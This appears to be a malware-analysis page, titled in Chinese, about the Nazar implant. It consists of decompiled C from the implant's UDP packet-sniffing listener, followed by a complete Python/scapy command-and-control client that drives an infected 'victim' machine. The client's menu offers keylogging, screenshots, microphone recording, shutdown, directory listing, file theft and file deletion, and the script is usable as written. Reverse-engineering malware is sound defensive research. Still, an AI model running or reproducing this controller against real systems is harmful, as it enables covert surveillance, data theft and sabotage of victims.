如何深度分析Nazar 組件

DWORD __stdcall main_thread(LPVOID lpThreadParameter) {   HANDLE hMgr; // edi   HANDLE hCfg; // esi   HANDLE hFtr; // edi    hMgr = MgrCreate();   MgrInitialize(hMgr);   hCfg = MgrGetFirstAdapterCfg(hMgr);   do   {     if ( !AdpCfgGetAccessibleState(hCfg) )       break;     hCfg = MgrGetNextAdapterCfg(hMgr, hCfg);   }   while ( hCfg );   ADP_struct = AdpCreate();   AdpSetConfig(ADP_struct, hCfg);   if ( !AdpOpenAdapter(ADP_struct) )   {     AdpGetConnectStatus(ADP_struct);     MaxPacketSize = AdpCfgGetMaxPacketSize(hCfg);     adapter_ip = AdpCfgGetIpA_wrapper(hCfg, 0);     AdpCfgGetMACAddress(hCfg, &mac_address, 6);     hFtr = BpfCreate();     BpfAddCmd(hFtr, BPF_LD_B_ABS, 23u);         //  Get Protocol field value     BpfAddJmp(hFtr, BPF_JMP_JEQ, IPPROTO_udp, 0, 1);// Protocol == UDP     BpfAddCmd(hFtr, BPF_RET, 0xFFFFFFFF);     BpfAddCmd(hFtr, BPF_RET, 0);     AdpSetUserFilter(ADP_struct, hFtr);     AdpSetUserFilterActive(ADP_struct, 1);     AdpSetOnPacketRecv(ADP_struct, on_packet_recv_handler, 0);     AdpSetMacFilter(ADP_struct, 2);     while ( 1 )     {       if ( stop_and_ping == 1 )       {         adapter_ip = AdpCfgGetIpA_wrapper(hCfg, 0);         connection_method(2);         stop_and_ping = 0;       }       Sleep(1000u);     }   }   return 0; }  

int __cdecl commandMethodsWrapper(udp_t *udp_packet, int zero, char *src_ip, int ip_id) {   int length; // edi    length = HIBYTE(udp_packet->length) - 8;   ntohs(udp_packet->src_port);   if ( ntohs(udp_packet->dst_port) != 1234 )     return 0;   commandDispatcher(&udp_packet[1], src_ip, ip_id, length);   return 1; }  

from scapy.all import * import struct import socket import hexdump import argparse DST_PORT = 1234 # 4000 is the usual port without sending files, but we use it for everything, because why not? SERVER_PORT = 4000 # We want to make sure the ID has the little endian of it ID = struct.unpack('>H',struct.pack('<H',4000))[0] def get_response(sock, should_loop):     started = False     total_payload = b''     while(should_loop or not started):         try:             payload, client_address = sock.recvfrom(4096)         except ConnectionResetError:                 payload, client_address = sock.recvfrom(4096)                  total_payload += payload         # Good enough stop condition         if (len(payload) >= 4             and payload[:3] == b'---'             and payload[4] >= ord('0')             and payload[4] <= ord('9')):             should_loop = False         started = True     hexdump.hexdump(total_payload) MENU = """Welcome to NAZAR. Please choose:           999 - Get a ping from the victim.           555 - Get information on the victim's machine.           311 - Start keylogging (312 to disable).           139 - Shutdown victim's machine.           189 - Screenshot (313 to disable).           119 - Record audio from Microphone (315 to disable).           199 - List drives.           200 - List recursivley from directory*.           201 - Send a file*.           209 - Remove file*.           599 - List devices. * (append a path, use double-backslashes) quit to Quit, help for this menu.             """ def get_message():     while True:         curr_message = input('> ').strip()         if 'quit' in curr_message:             return None         if 'help' in curr_message:             print(MENU)         else:             return curr_message def get_sock():     sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)     server_address = '0.0.0.0'     server = (server_address, SERVER_PORT)     sock.bind(server)     return sock      def main(ip_addr):     sock = get_sock()          print(MENU)     multi_packets = ["200","201", "119", "189", "311", "199", "599"]     single_packets = ["999", "555"]     all_commands = single_packets + multi_packets     while True:                  curr_message = get_message()         if not curr_message:             break                  # Send message using scapy         # Make sure the IP identification field is little endian of the port.         sr1(             IP(dst=ip_addr, id=ID)/             UDP(sport=SERVER_PORT,dport=1234)/             Raw(load=curr_message),             verbose=0         )         command = curr_message[:3]         if command not in all_commands:             continue         should_loop = command in multi_packets         get_response(sock, should_loop) if __name__ == '__main__':     parser = argparse.ArgumentParser(description="victim's IP")     parser.add_argument('ip')     args = parser.parse_args()     main(args.ip)